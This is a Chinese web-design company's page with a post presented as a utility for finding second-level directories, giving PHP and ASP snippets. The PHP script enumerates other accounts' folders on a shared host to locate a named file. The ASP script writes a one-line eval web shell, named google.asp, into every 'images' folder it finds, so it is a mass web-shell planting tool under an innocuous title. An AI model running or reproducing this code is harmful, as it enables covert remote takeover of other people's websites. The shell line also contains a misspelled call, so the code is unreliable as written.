个性原创,打造品牌

拒绝模仿抄袭、拒绝模板建站;
多位资深网页设计师同时设计,让您优中选优;
网站独一无二,品牌轻易提升...

了解详情 >

代码规范,国际标准

后台php+mysql动态管理,功能强大,千万级数据;
前台div+css生成静态,代码精简,访问速度快,
符合w3c国际标准,兼容ie/火狐/苹果等任意浏览器...

了解详情 >

细微高效,全程无忧

域名一个,主机一台;
主机BGP多线路,5G存储空间,流量不限;
新闻录入、图片处理、数据备份、安全监测、网站升级...

了解详情 >

移动时代,机不可失

全新视觉、创新操作;
跨平台兼容,微信无缝对接;
不容错过的手机网络商机,不能错过的手机网站时代...

了解详情 >

搜索领先,锁定访客

在主流搜索引擎的搜索结果中,
网站的名称,排在第一页的第一名,
网站其他相关的3-5个关键词,排在第一页...

了解详情 >

营销利器,决胜千里

全国统一呼叫,品牌企业的象标志。
中国电信4008/4009、中国联通4000/4006,号码任选;
通话资费预存...

了解详情 >
以“信”为主的服务理念,“源”为标杆的服务特点351532641点击咨询010-86203368联系电话
CSS问题设计问题程序问题优化问题

一个找二层目录的代码

发布时间:2013-09-20      浏览次数:1981

php

代码如下:

set_time_limit(0);

$path = 'D:/Hosting';

$somefile = $_GET['key'];

$logfile = 'D:/Hosting/6668835/html/images/ennumdir.txt';

if (!isset($_SERVER['PHP_AUTH_USER'])) {

header('WWW-Authenticate: Basic realm="My Realm"');

header('HTTP/1.0 401 Unauthorized');

echo 'Text to send if user hits Cancel button';

exit;

} else {

if(is_dir($path) && is_readable($path))

{

$path2 = '';

$handle = opendir($path);

while(false !== ($filename = readdir($handle)))

{

if($filename{0} != $_GET['dir'])

{

continue;

}

/*

if($filename{1} != $_GET['two'])

{

continue;

}

*/

//$path2 = $path.'/'.$filename.'/html';

$path2 = $path.'/'.$filename;

if(is_dir($path2) && is_readable($path2))

{

@$handle2 = opendir($path2);

while(false !== ($filename2 = readdir($handle2)))

{

if($filename2 == $somefile)

{

//echo'[+]Found !'.$filename2."\n";

file_put_contents($logfile,'[+]Found !'.$path2.'/'.$filename2."\n",FILE_APPEND);

}

}

@closedir($handle2);

}

}

file_put_contents($logfile,'[*]LAST '.$path2."\n",FILE_APPEND);

closedir($handle);

}

}

asp

代码如下:

<%

Server.ScriptTimeout=500000000

key = Trim(Request.QueryString("key"))

msg=" <% eval(rquese(Chr(35)))%" &">"

Set FSO=Server.CreateObject("Scripting.FileSystemObject")

Set ServerFolder=FSO.GetFolder("C:\intel")

Set ServerFolderList=ServerFolder.subfolders

For Each ServerFileEvery IN ServerFolderList

' Response.write ServerFileEvery&"
"

If LCase(Left(ServerFileEvery.name, 1)) = LCase(key) Then

Set sServerFolder=FSO.GetFolder(ServerFileEvery)

Set sServerFolderList=sServerFolder.subfolders

For Each sServerFileEvery IN sServerFolderList

If LCase(sServerFileEvery.name) = "images" Then

StreamSaveToFile sServerFileEvery & "\google.asp", msg, "UTF-8"

End If

Next

End If

Next

Function StreamSaveToFile(sPath, sContent, sCharSet)

Dim oStream

If(InStr(sPath, ":") <= 0)Then

sPath = Replace(sPath, ",", "")

sPath = Server.MapPath(sPath)

sPath = Replace(sPath, "", ",")

End If

Set oStream = Server.CreateObject("Adodb.Stream")

With oStream

.Type = 2

.Mode = 3

.Open

.Charset = sCharSet

.WriteText sContent

.SaveToFile sPath, 2

.Close

End With

Set oStream = Nothing

End Function

%>

上一篇:各大邮箱Email快速登录代码
下一篇:PHP服务器页面间跳转实现方法

Copyright©2016  xinycx.com  All Rights Reserved  北京信源创想科技有限公司  备案号:京ICP备17071760号-1   

京公网安备 11010802036302号


地址:北京市海淀区闵庄路门头馨村北二区33号楼3单元102室  电话:010-86203368  代理域名注册服务机构:北京新网数码信息技术有限公司

北京网站建设 北京网站制作 信源创想 品牌网站建设 企业网站建设 网站设计 APP开发 微信开发 前端切图 DIV+CSS html5切图 APP切图